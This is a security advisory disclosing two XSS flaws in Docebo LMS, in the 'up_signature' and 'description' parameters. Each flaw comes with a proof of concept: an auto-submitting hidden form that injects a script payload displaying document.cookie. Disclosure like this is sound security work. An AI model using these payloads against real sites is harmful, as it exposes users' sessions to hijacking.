Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Docebo which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerability in Docebo
1.1 The vulnerability exists due to input sanitation error in the "up_signature" parameter in doceboLms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized.
Exploitation example:
<form action="http://host/doceboLms/index.php?modname=profile&op=profile&id_user=1 368&ap=saveinfo" method="post" name="main" >
<input type="hidden" name="up_lastname" value="admin" />
<input type="hidden" name="up_firstname" value="admin" />
<input type="hidden" name="up_email" value="" />
<input type="hidden" name="user_preference[ui.language]" value="4" />
<input type="hidden" name="user_preference[ui.template]" value="0" />
<input type="hidden" name="up_signature" value='123"><script>alert(document.cookie)</script>' />
<input type="hidden" name="save" value="Salva" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "description" parameter in doceboLms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized.
Exploitation example:
<form action="http://host/doceboLms/index.php?modname=advice&op=upadvice" method="post" name="main" >
<input type="hidden" name="idAdvice" value="2" />
<input type="hidden" name="title" value="Hello" />
<input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="addadvice" value="Save changes" />
</form>
<script>
document.main.submit();
</script>
